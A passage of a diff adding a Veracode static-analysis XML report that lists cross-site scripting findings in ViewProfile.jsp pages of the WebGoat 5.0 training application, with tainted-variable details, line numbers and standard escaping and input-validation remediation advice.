+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"38\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"22\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"54\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/RoleBasedAccessControl/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"211\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"41\" sourcefilepath=\"/lessons/SQLInjection/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"81\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getPhoneNumber().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"45\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"25\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"99\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getStartDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        javax.servlet.servletrequest.getparametervalues, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile.jsp\"
+        line=\"51\" sourcefilepath=\"/lessons/CrossSiteScripting/\" scope=\"com.veracode.compiledjsp.xWebGoat50withjspwar.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"27\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"210\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"51\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"16\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"237\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"72\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable webSession.getUserNameInLesson().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"52\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"88\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"53\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"18\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"130\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"107\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getFirstName().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"ViewProfile_jsp.java\"
+        line=\"54\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.ViewProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"21\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"174\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getLastName().
+        The tainted data originated from earlier calls to java.sql.statement.executequery,
+        javax.servlet.servletrequest.getparameter, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
